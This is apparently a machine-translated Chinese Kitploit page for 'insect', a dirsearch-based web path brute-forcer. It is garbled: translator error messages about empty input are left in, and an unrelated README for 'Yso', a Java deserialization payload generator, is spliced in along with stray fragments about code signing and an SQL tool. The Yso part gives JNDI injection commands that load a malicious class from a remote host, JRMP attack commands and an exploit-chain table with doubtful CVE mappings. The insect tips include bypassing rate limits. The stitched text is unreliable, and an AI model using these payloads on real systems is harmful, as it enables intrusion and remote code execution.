Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/nu11secur1ty/insect
侦察漏洞扫描器信息收集Web安全模糊测试渗透测试
GitHubnu11secur1ty/insect

insect

查看仓库
13年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

insect - Web 路径发现

当前版本: v1.4 (20222.09.03)

一个高级命令行工具,用于暴力破解 Web 服务器中的目录和文件,也称为 Web 路径扫描器

想法 来自 @maurosoria 和 @shelld3v

Developement-2022 由 @nu11secur1ty 积极开发中

目录

  • 安装
  • 字典列表
  • 选项
  • 配置
  • 如何使用
    • 简单用法
    • 暂停进度
    • 递归
    • 线程
    • 前缀 / 后缀
    • 黑名单
    • 过滤器
    • 原始请求
    • 字典格式
    • 排除扩展名
    • 扫描子目录
    • 代理
    • 报告
    • 更多示例命令
  • 支持 Docker
    • 在 Linux 上安装 Docker
    • 构建 insect 镜像
    • 使用 insect
  • 参考
  • 提示
  • 贡献
  • 许可证

工具:

  • Attack-Modules-2022

安装与使用

要求: python 3.10.5 或更高版本

选择以下安装方式之一:

  • 使用 git 安装: git clone https://github.com/nu11secur1ty/insect.git --depth 1(推荐)
  • 使用 ZIP 文件安装: 在此下载
  • 使用 Docker 安装: docker build -t "insect:latest" .(更多信息可以在此处找到)

通过包管理器安装:

  • 使用 PyPi 安装: pip3 install dirsearch
  • 在 Kali Linux 上安装: sudo apt-get install dirsearch(已弃用)

字典列表(重要)

摘要:

  • 字典是一个文本文件,每行是一个路径。
  • 关于扩展名,与其他工具不同,dirsearch 和 insect 仅用 -e 标志中的扩展名替换 %EXT% 关键字。
  • 对于没有 %EXT% 的字典(如 SecLists),需要使用 -f | --force-extensions 开关来为字典中的每个单词添加扩展名,以及 /。
  • 要将您的扩展名应用于已有扩展名的字典条目,请使用 -O | --overwrite-extensions(注意:某些扩展名被排除在覆盖之外,例如 .log、.json、.xml、... 或媒体扩展名如 .jpg、.png)
  • 要使用多个字典,可以用逗号分隔您的字典。示例:wordlist1.txt,wordlist2.txt。

示例:

  • 普通扩展名:``` index.%EXT%
root@kitploit:~
将 **asp** 和 **aspx** 作为扩展名传递将生成以下字典:```
index
index.asp
index.aspx
  • 强制扩展:``` admin
root@kitploit:~
使用 **-f**/**--force-extensions** 标志传递 **php** 和 **html** 作为扩展名,将生成以下字典:```
admin
admin.php
admin.html
admin/
  • 覆盖扩展名:``` login.html
root@kitploit:~
将 **jsp** 和 **jspa** 作为扩展名与 **-O**/**--overwrite-extensions** 标志一起传递,将生成以下字典:```
login.html
login.jsp
login.jspa

选项 -------``` Usage: insect.py [-u|--url] target [-e|--extensions] extensions [options]

Options: --version show program's version number and exit -h, --help show this help message and exit

Mandatory: -u URL, --url=URL Target URL(s), support multiple flags -l PATH, --url-file=PATH URL list file --stdin Read URL(s) from STDIN --cidr=CIDR Target CIDR --raw=PATH Load raw HTTP request from file (use --scheme flag to set the scheme) -s SESSION_FILE, --session=SESSION_FILE Session file --config=PATH Full path to config file, see 'config.ini' for example (Default: config.ini)

Dictionary Settings: -w WORDLISTS, --wordlists=WORDLISTS Customize wordlists (separated by commas) -e EXTENSIONS, --extensions=EXTENSIONS Extension list separated by commas (e.g. php,asp) -f, --force-extensions Add extensions to the end of every wordlist entry. By default insect only replaces the %EXT% keyword with extensions -O, --overwrite-extensions Overwrite other extensions in the wordlist with your extensions (selected via -e) --exclude-extensions=EXTENSIONS Exclude extension list separated by commas (e.g. asp,jsp) --remove-extensions Remove extensions in all paths (e.g. admin.php -> admin) --prefixes=PREFIXES Add custom prefixes to all wordlist entries (separated by commas) --suffixes=SUFFIXES Add custom suffixes to all wordlist entries, ignore directories (separated by commas) -U, --uppercase Uppercase wordlist -L, --lowercase Lowercase wordlist -C, --capital Capital wordlist

General Settings: -t THREADS, --threads=THREADS Number of threads -r, --recursive Brute-force recursively --deep-recursive Perform recursive scan on every directory depth (e.g. api/users -> api/) --force-recursive Do recursive brute-force for every found path, not only directories -R DEPTH, --max-recursion-depth=DEPTH Maximum recursion depth --recursion-status=CODES Valid status codes to perform recursive scan, support ranges (separated by commas) --subdirs=SUBDIRS Scan sub-directories of the given URL[s] (separated by commas) --exclude-subdirs=SUBDIRS Exclude the following subdirectories during recursive scan (separated by commas) -i CODES, --include-status=CODES Include status codes, separated by commas, support ranges (e.g. 200,300-399) -x CODES, --exclude-status=CODES Exclude status codes, separated by commas, support ranges (e.g. 301,500-599) --exclude-sizes=SIZES Exclude responses by sizes, separated by commas (e.g. 0B,4KB) --exclude-texts=TEXTS Exclude responses by texts, separated by commas (e.g. 'Not found', 'Error') --exclude-regex=REGEX Exclude responses by regex (e.g. '^Error$') --exclude-redirect=STRING Exclude responses if this regex (or text) matches redirect URL (e.g. '/index.html') --exclude-response=PATH Exclude responses similar to response of this page, path as input (e.g. 404.html) --skip-on-status=CODES Skip target whenever hit one of these status codes, separated by commas, support ranges --min-response-size=LENGTH Minimum response length --max-response-size=LENGTH Maximum response length --max-time=SECONDS Maximum runtime for the scan

Request Settings: -m METHOD, --http-method=METHOD HTTP method (default: GET) -d DATA, --data=DATA HTTP request data --data-file=PATH File contains HTTP request data -H HEADERS, --header=HEADERS HTTP request header, support multiple flags --header-file=PATH File contains HTTP request headers -F, --follow-redirects Follow HTTP redirects --random-agent Choose a random User-Agent for each request --auth=CREDENTIAL Authentication credential (e.g. user:password or bearer token) --auth-type=TYPE Authentication type (basic, digest, bearer, ntlm, jwt, oauth2) --cert-file=PATH File contains client-side certificate --key-file=PATH File contains client-side certificate private key (unencrypted) --user-agent=USERAGENT --cookie=COOKIE

Connection Settings: --timeout=TIMEOUT Connection timeout --delay=DELAY Delay between requests --proxy=PROXY Proxy URL, support HTTP and SOCKS proxies (e.g. localhost:8080, socks5://localhost:8088) --proxy-file=PATH File contains proxy servers --proxy-auth=CREDENTIAL Proxy authentication credential --replay-proxy=PROXY Proxy to replay with found paths --tor Use Tor network as proxy --scheme=SCHEME Scheme for raw request or if there is no scheme in the URL (Default: auto-detect) --max-rate=RATE Max requests per second --retries=RETRIES Number of retries for failed requests --ip=IP Server IP address --exit-on-error Exit whenever an error occurs

Advanced Settings: --crawl Crawl for new paths in responses

View Settings: --full-url Full URLs in the output (enabled automatically in quiet mode) --redirects-history Show redirects history --no-color No colored output -q, --quiet-mode Quiet mode

Output Settings: -o PATH, --output=PATH Output file --format=FORMAT Report format (Available: simple, plain, json, xml, md, csv, html, sqlite) --log=PATH Log file

root@kitploit:~
配置
---------------

dirsearch 和 insect 标志的默认值可在配置文件中编辑,默认情况下为 `config.ini`,但你可以使用 `--config` 标志选择另一个文件。```ini
# If you want to edit dirsearch or insect default configurations, you can
# edit values in this file. Everything after `#` is a comment
# and won't be applied

[general]
threads = 25
recursive = False
deep-recursive = False
force-recursive = False
recursion-status = 200-399,401,403
max-recursion-depth = 0
exclude-subdirs = %%ff/,.;/,..;/,;/,./,../,%%2e/,%%2e%%2e/
random-user-agents = False
max-time = 0
# subdirs = /,api/
# include-status = 200-299,401
# exclude-status = 400,500-999
# exclude-sizes = 0b,123gb
# exclude-texts = "Not found"
# exclude-regex = "^403$"
# exclude-redirect = "*/error.html"
# exclude-response = 404.html
# skip-on-status = 429,999

[dictionary]
default-extensions = php,aspx,jsp,html,js
force-extensions = False
overwrite-extensions = False
lowercase = False
uppercase = False
capitalization = False
# exclude-extensions = old,log
# prefixes = .,admin
# suffixes = ~,.bak
# wordlists = /path/to/wordlist1.txt,/path/to/wordlist2.txt

[request]
httpmethod = get
follow-redirects = False
# headers-file = /path/to/headers.txt
# user-agent = MyUserAgent
# cookie = SESSIONID=123

[connection]
timeout = 7.5
delay = 0
max-rate = 0
max-retries = 1
exit-on-error = False
## By disabling `scheme` variable, insect will automatically identify the URI scheme
# scheme = http
# proxy = localhost:8080
# proxy-file = /path/to/proxies.txt
# replay-proxy = localhost:8000

[advanced]
crawl = False

[view]
full-url = False
quiet-mode = False
color = True
show-redirects-history = False

[output]
## Support: plain, simple, json, xml, md, csv, html, sqlite
report-format = plain
autosave-report = True
# log-file = /path/to/insect.log
# report-output-folder = /path/to/reports

使用方法

下面是一些使用 dirsearch 和 insect 的示例——这些是最常见的参数。如果需要全部,只需使用 -h 参数。

简单用法```

python3 insect.py -u https://target

root@kitploit:~
I notice that the input content for chunk 19 is empty — no Markdown text was provided after "INPUT:". Please provide the actual chunk content so I can translate it.```
python3 insect.py -e php,html,js -u https://target

I don't see any content to translate in the input section. Please provide chunk 21 of 91 so I can translate it.``` python3 insect.py -e php,html,js -u https://target -w /path/to/wordlist

root@kitploit:~
---
### 暂停进度
dirsearch 和 insect 允许你通过 CTRL+C 暂停扫描进度,在此之后,你可以保存进度(之后继续)、跳过当前目标,或跳过当前子目录。

<img src="https://assets.kitploit.com/production/public/readmes/42137/d4cf979db78841d0c0f16abb177e5084211820c23e8adaf587f0bb3faf0e25b4.png" alt="暂停 insect" width="475px">

----
### 递归
- 递归暴力破解是对已发现目录之后的路径持续进行暴力破解。例如,如果 insect 找到 `admin/`,它将对 `admin/*` 进行暴力破解(`*` 是暴力破解的位置)。要启用此功能,请使用 **-r**(或 **--recursive**)标志```
python3 insect.py -e php,html,js -u https://target -r
  • 您可以使用 --recursion-depth 设置最大递归深度,并使用 --recursion-status 设置要递归的状态码。``` python3 insect.py -e php,html,js -u https://target -r --recursion-depth 3 --recursion-status 200-399
root@kitploit:~
- 还有 2 个选项:**--force-recursive** 和 **--deep-recursive**
  - **强制递归**:暴力递归所有发现的路径,而不仅是那些以 `/` 结尾的路径
  - **深度递归**:递归暴力破解一个路径的所有深度(`a/b/c` => 添加 `a/`、`a/b/`)

- 如果有不希望递归暴力破解的子目录,请使用 `--exclude-subdirs````
python3 insect.py -e php,html,js -u https://target -r --exclude-subdirs image/,media/,css/

线程

线程数(-t | --threads)反映分离的暴力破解进程的数量。因此,线程数越大,dirsearch 或 insect 运行得越快。默认情况下,线程数为 25,但如果您想加快进度,可以增加它。

尽管如此,速度仍然很大程度上取决于服务器的响应时间。作为警告,我们建议您不要将线程数设置得太大,因为它可能导致 DoS(拒绝服务攻击)。``` python3 insect.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t 20

root@kitploit:~
### 前缀 / 后缀
- **--prefixes**: 为所有条目添加自定义前缀```
python3 insect.py -e php -u https://target --prefixes .,admin,_

单词列表:``` tools

root@kitploit:~
使用前缀生成:```
tools
.tools
admintools
_tools
  • --suffixes: 为所有条目添加自定义后缀``` python3 insect.py -e php -u https://target --suffixes ~
root@kitploit:~
字典:```
index.php
internal

使用后缀生成:``` index.php internal index.php~ internal~

root@kitploit:~
### Blacklist
在 `db/` 文件夹内,有几个“黑名单文件”。如果这些文件中的路径具有与文件名中所述相同的状态,它们将从扫描结果中被过滤。

示例:如果你将 `admin.php` 添加到 `db/403_blacklist.txt` 中,那么每当你进行扫描时,只要 `admin.php` 返回 403,它就会被从结果中过滤。

----
### Filters
使用 **-i | --include-status** 和 **-x | --exclude-status** 来选择允许和不允许的响应状态码

更多高级过滤器:**--exclude-sizes**、**--exclude-texts**、**--exclude-regexps**、**--exclude-redirects** 和 **--exclude-response**```
python3 insect.py -e php,html,js -u https://target --exclude-sizes 1B,243KB

I need to translate the content, but the input appears to be empty—no actual Markdown content was provided after "INPUT:". Since there is no text to translate, I cannot produce a translation. Please provide the actual chunk content.``` python3 insect.py -e php,html,js -u https://target --exclude-texts "403 Forbidden"

root@kitploit:~
I don't see any content in the input to translate. The chunk appears to be empty. Please provide the text you'd like translated.```
python3 insect.py -e php,html,js -u https://target --exclude-regexps "^Error$"

此代码段创建了一个初级代码签名证书,用它签署 secret.exe 并执行该文件。生成的证书使用了最弱的加密组合。PowerShell 的 Set-AuthenticodeSignature 默认应用 SHA1 哈希算法(除非被覆盖)。通过使用最弱的哈希算法,该工具还能确保它能在可能不支持更好哈希算法的旧系统上运行。``` python3 insect.py -e php,html,js -u https://target --exclude-redirects "https://(.).okta.com/"

root@kitploit:~
## Yso

Yso 是一款用于构造 Java 反序列化 payload 的复杂工具,支持多版本 JDK、多种利用技术以及多种输出格式等丰富特性,旨在为安全研究人员提供全面灵活的 payload 生成方案。

## ✨ 功能特点
- **多版本 JDK 支持**:涵盖 JDK 8u202、JDK 11.0.1 和 JDK 17.0.1
- **多种利用链**:支持 URLDNS、CommonsCollections、Jdk7u21 等多种利用链
- **多样输出格式**:支持十六进制、Base64 编码以及 jar、class、dylib、jsp/jspx 等格式
- **JNDI 注入**:集成 JNDI 远程类加载功能
- **可定制化**:灵活的参数配置,满足不同场景需求
- **跨平台**:支持 Windows、Linux 和 macOS

###  从源代码构建(推荐)
```bash
git clone https://github.com/qi4L/Yso.git
cd Yso
mvn clean package -DskipTests

如果 Maven 中央仓库访问有问题,请自行配置 Maven 代理。

使用预编译的 JAR

从 Releases 页面 下载最新版本。

root@kitploit:~
wget https://github.com/qi4L/Yso/releases/download/0.0.1/yso-0.0.1.jar

使用 Docker(即将推出)

root@kitploit:~
docker pull ghcr.io/qi4l/yso:latest

使用方法

root@kitploit:~
$ java -jar yso.jar -h
usage: java -jar yso.jar [payload] <param>
Available payloads:
	URLDNS
	CommonsCollections1
	CommonsCollections2
	CommonsCollections3
	CommonsCollections4
	CommonsCollections5
	CommonsCollections6
	CommonsCollections7
	CommonsCollections8
	CommonsCollections9
	CommonsCollections10
	CommonsCollections11
	CommonsCollectionsK1
	CommonsCollectionsK2
	CommonsCollectionsK3
	CommonsCollectionsK4
	CommonsBeanutils1
	CommonsBeanutils2
	Jdk7u21
	Jdk8u20
	C3P0
	BeanShell1
	JSON1
	Fastjson1
	Fastjson2
	Spring1
	Spring2
	Hibernate1
	Myfaces1
	Myfaces2
	JBossInterceptors1
	JRMPClient
	JRMPListener
	RMIConnect
	RMIServer

基本用法

root@kitploit:~
# Generate a URLDNS payload
java -jar yso.jar URLDNS http://xxxx.ceye.io

# Generate a CommonsCollections1 payload with command execution
java -jar yso.jar CommonsCollections1 "calc"

# Generate a JRMPListener payload
java -jar yso.jar JRMPListener 1099

高级选项

提示 默认输出格式为 base64。可以通过 -P 参数指定输出格式,例如 -P jar 以 JAR 格式输出 payload。

支持的 payload 类型

支持以下利用链:

多版本 JDK 支持

注意 不同 JDK 版本下的利用链可用性可能有所差异,建议根据目标环境选择合适的 JDK 版本。

输出格式

Yso 支持多种输出格式:

  • hex - 十六进制编码
  • base64 - Base64 编码
  • class - Java class 文件
  • jar - JAR 文件
  • jsp - JSP 脚本
  • jspx - JSPX 脚本
  • dylib - 动态链接库
  • binary - 原始二进制

注意 使用 -P 参数指定输出格式,例如 -P hex 以十六进制格式输出 payload。

JNDI 集成

Yso 集成了 JNDI 远程类加载功能,可以通过 -g 参数指定 payload 类型,并通过 -u 参数指定恶意类的远程地址。例如:

root@kitploit:~
java -jar yso.jar -g jndi -u http://xxxx.ceye.io/ExportObject.jar CommonsCollections1 "calc"

注意 在使用 JNDI 集成功能时,需要确保目标环境允许远程类加载,并且恶意类所在的 HTTP 服务器可访问。

常见使用场景

1. 利用 JMX 服务

JMX(Java Management Extensions)服务通常暴露在 1099 端口,可以通过 JRMPClient 进行攻击:

root@kitploit:~
java -jar yso.jar JRMPClient <target-ip>:1099

2. Java RMI 服务利用

Java RMI(Remote Method Invocation)服务通常暴露在 1099 端口,可以通过 JRMPListener 进行攻击:

root@kitploit:~
java -jar yso.jar JRMPListener 1099

3. JNDI 注入

JNDI 注入是一种常见的攻击方式,可以通过 -g jndi 参数指定 payload 类型:

root@kitploit:~
java -jar yso.jar -g jndi -u http://xxxx.ceye.io/ExportObject.jar CommonsCollections1 "calc"

致谢

本项目参考并借鉴了以下优秀的开源项目:

  • ysoserial
  • JNDI-Injection-Exploit
  • JNDIExploit
  • JNDI
  • JNDInjector

免责声明

本工具仅用于安全研究和授权测试目的。使用者有责任遵守所有适用的法律法规。开发者不对任何滥用本工具的行为负责。``` python3 insect.py -e php,html,js -u https://target --exclude-response /error.html

root@kitploit:~
### 原始请求
dirsearch 或 insect 允许你从文件导入原始请求。内容大致如下所示:```http
GET /admin HTTP/1.1
Host: admin.example.com
Cache-Control: max-age=0
Accept: */*

由于 dirsearch 或 insect 无法获知 URI scheme,你需要使用 --scheme 标志进行设置。默认情况下,dirsearch 和 insect 会自动检测 scheme。


字典格式

支持的字典格式:大写、小写、首字母大写

小写:```

admin index.html

root@kitploit:~
#### 大写:```
ADMIN
INDEX.HTML

首都:```

Admin Index.html

root@kitploit:~
### 排除扩展名
使用 **-X | --exclude-extensions** 并提供扩展名列表,将移除单词列表中包含指定扩展名的所有路径

`python3 insect.py -u https://target -X jsp`

单词列表:```
admin.php
test.jsp

No input content was provided to translate. Please supply the actual Markdown text for chunk 63/91, and I will translate it into Chinese following the specified rules.``` admin.php

root@kitploit:~
### 扫描子目录
- 通过一个 URL,您可以使用 **--subdirs** 扫描子目录列表。```
python3 insect.py -e php,html,js -u https://target --subdirs /,admin/,folder/

代理

dirsearch 和 insect 支持 SOCKS 和 HTTP 代理,有两个选项:单个代理服务器或代理服务器列表。``` python3 insect.py -e php,html,js -u https://target --proxy 127.0.0.1:8080

root@kitploit:~
IAB v3```
python3 insect.py -e php,html,js -u https://target --proxy socks5://10.10.0.1:8080

---``` python3 insect.py -e php,html,js -u https://target --proxylist proxyservers.txt

root@kitploit:~
### 报告
支持的报告格式:**simple**, **plain**, **json**, **xml**, **md**, **csv**,  **html**, **sqlite**```
python3 insect.py -e php -l URLs.txt --format plain -o report.txt

| 检测并发问题 | 应用级与数据库级 | 悲观锁与乐观锁 | | 反模式识别 | N+1 查询检测 | 过度抓取与获取不足模式 | | 查询分析 | 微秒级可视化 | 永久查询与 N+1 查询统计分析 | | 模式管理 | 模式差异与演进 | 索引顾问 |

❓为什么选择 sqlarches?

Drizzle ORM 与 Prisma 相结合,在运行时提供了类型安全、高性能以及出色的开发体验,但数据库模式本身呢?手动编写和管理 SQL 迁移、丢失模式历史、无法检测低效查询、遗漏并发缺陷,或在生产环境模式变更中苦苦挣扎,往往会导致严重的故障。

sqlarches 正是为解决这些挑战而构建的。它借助智能 CLI 代理,自动执行模式管理,可视化查询模式,并通过 AI 辅助工作流提升开发效率——弥合了运行时 ORM 功能与数据库模式可靠性之间的差距。


🎯 sqlarches 测试版

``` python3 insect.py -e php -u https://target --format html -o target.json ``` ---- ### 更多示例命令``` cat urls.txt | python3 insect.py --stdin ``` 输入内容为空,没有可翻译的文本。``` python3 insect.py -u https://target --max-time 360 ``` I don't see any input content to translate. The message contains only the instructions and an empty "INPUT:" section, with no Markdown text provided. Please provide the source content for chunk 81 so I can translate it.``` python3 insect.py -u https://target --auth admin:pass --auth-type basic ``` I received no input content to translate. The message ends with "INPUT:" and no Markdown text follows, so there is nothing for me to translate. Please provide the actual chunk content and I will translate it into Chinese.``` python3 insect.py -u https://target --header-list rate-limit-bypasses.txt ``` **还有更多内容等着你去发现,亲自试试吧!**

支持 Docker

在 Linux 上安装 Docker

安装 Docker```sh curl -fsSL https://get.docker.com | bash

root@kitploit:~
> 使用 docker 需要超级用户权限

### 在 insect 上构建 dirsearch 镜像
创建镜像```sh
docker build -t "dirsearch:v0.4.2" .
docker build -t "insect:latest" .

dirsearch 是镜像的名称,v0.4.2 是版本

insect 是镜像的名称,latest 是版本

使用 dirsearch 或 insect

要使用```sh docker run -it --rm "insect:latest" -u target -e php,html,js,zip

root@kitploit:~
参考资料
---------------
- [Dirsearch 全面指南](https://www.hackingarticles.in/comprehensive-guide-on-dirsearch/) 作者:Shubham Sharma
- [Dirsearch 全面指南第 2 部分](https://www.hackingarticles.in/comprehensive-guide-on-dirsearch-part-2/) 作者:Shubham Sharma
- [如何使用 Dirsearch 查找隐藏的 Web 目录](https://www.geeksforgeeks.org/how-to-find-hidden-web-directories-with-dirsearch/) 作者:GeeksforGeeks
- [DIRSEARCH 使用完整指南](https://esgeeks.com/guia-completa-uso-dirsearch/?feed_id=5703&_unique_id=6076249cc271f) 作者:ESGEEKS
- [如何使用 Dirsearch 检测 Web 目录](https://www.ehacking.net/2020/01/how-to-find-hidden-web-directories-using-dirsearch.html) 作者:EHacking
- [dirsearch 使用教程](https://vk9-sec.com/dirsearch-how-to/) 作者:VK9 Security
- [使用 Dirsearch 查找隐藏的 Web 目录](https://null-byte.wonderhowto.com/how-to/find-hidden-web-directories-with-dirsearch-0201615/) 作者:Wonder How To
- [使用 dirsearch 对 Web 服务器中的目录和文件进行暴力破解](https://upadhyayraj.medium.com/brute-force-directories-and-files-in-webservers-using-dirsearch-613e4a7fa8d5) 作者:Raj Upadhyay
- [Yahoo 上的实时漏洞赏金侦察会话(Amass、crts.sh、dirsearch)与 @TheDawgyg 一起](https://www.youtube.com/watch?v=u4dUnJ1U0T4) 作者:Nahamsec
- [使用 Dirsearch 查找隐藏的 Web 目录](https://medium.com/@irfaanshakeel/dirsearch-to-find-hidden-web-directories-d0357fbe47b0) 作者:Irfan Shakeel
- [获取 25000 名员工的详细信息](https://medium.com/@ehsahil/getting-access-to-25k-employees-details-c085d18b73f0) 作者:Sahil Ahamad
- [目录暴力破解最佳工具](https://secnhack.in/multiple-ways-to-find-hidden-directory-on-web-server/) 作者:Shubham Goyal
- [在 Web 服务器上发现隐藏文件和目录 - dirsearch 完整教程](https://www.youtube.com/watch?v=jVxs5at0gxg) 作者:CYBER BYTES
- [使用 insect- 示例查找防护较弱的目录。](https://www.nu11secur1ty.com/2022/09/wordpress-all-in-one-wp-migration-764.html) 作者:nu11secur1ty

提示
---------------
- 服务器有请求限制?这很糟糕,但可以随意绕过它,通过 `--proxy-list` 随机化代理
- 想找出配置文件或备份?试试 `--suffixes ~` 和 `--prefixes .`
- 只想查找文件夹/目录?为什么不结合使用 `--remove-extensions` 和 `--suffixes /` 呢!
- 结合使用 `--cidr`、`-F`、`-q` 可以在对 CIDR 进行暴力破解时减少大部分噪音和误报
- 扫描 URL 列表,但不想看到 429 洪水?`--skip-on-status 429` 可帮助你在目标返回 429 时跳过该目标
- 服务器包含会拖慢扫描的大文件?你*可能*想使用 `HEAD` HTTP 方法而不是 `GET`
- CIDR 暴力破解很慢?可能你忘了减少请求超时和请求重试次数。建议:`--timeout 3 --retries 1`

对原始来源的贡献
---------------
我们一直收到来自世界各地许多人的帮助来改进这个工具。非常感谢到目前为止帮助过我们的每一个人!
请参阅 [CONTRIBUTORS.md](https://github.com/maurosoria/dirsearch/blob/master/CONTRIBUTORS.md) 了解他们是谁。

#### 欢迎提交拉取请求和功能请求

许可证
---------------
Copyright (C) Mauro Soria ([email protected])

Development for 2022 (C) nu11secur1ty (https://nu11secur1ty.com/)

许可证:GNU General Public License, version 2
下载工具
insect | Kitploit
选项描述
-g指定 payload 的类型,目前支持两种类型:jndi 和 jar
-u与 -g 配合使用,指定加载恶意类的远程地址
-P指定 payload 的输出格式,支持以下格式:hex、base64、class、jar、jsp、jspx、dylib、binary
-p指定攻击端的端口
-U指定本地访问的端口
-i指定本地 IP 地址
利用链名称CVE/描述JDK 版本依赖项
URLDNSJDK 内置类,适合验证反序列化漏洞JDK8u202无
CommonsCollections1-11CVE-2015-4852JDK8u202commons-collections 3.1
CommonsCollectionsK1-K4CommonsCollections 变种JDK8u202commons-collections 3.1/4.0
CommonsBeanutils1-2无 CVE 编号JDK8u202commons-beanutils
Jdk7u21CVE-2013-2465JDK7u21无
Jdk8u20CVE-2014-6577JDK8u20无
C3P0CVE-2014-3566JDK8u202c3p0
BeanShell1无 CVE 编号JDK8u202bsh
JSON1无 CVE 编号JDK8u202json
Fastjson1-2CVE-2017-18349JDK8u202fastjson
Spring1-2CVE-2011-2894JDK8u202spring-core
Hibernate1CVE-2013-0156JDK8u202hibernate
Myfaces1-2CVE-2013-2172JDK8u202myfaces
JBossInterceptors1CVE-2012-0874JDK8u202jboss-interceptors
JRMPClient无 CVE 编号JDK8u202无
JRMPListener无 CVE 编号JDK8u202无
RMIConnect无 CVE 编号JDK8u202无
RMIServer无 CVE 编号JDK8u202无
JDK版本操作系统架构
JDK8u202Windowsx86-64
JDK8u202Linuxx86-64
JDK11.0.1Windowsx86-64
JDK17.0.1Windowsx86-64
JDK11.0.1Linuxx86-64
JDK17.0.1Linuxx86-64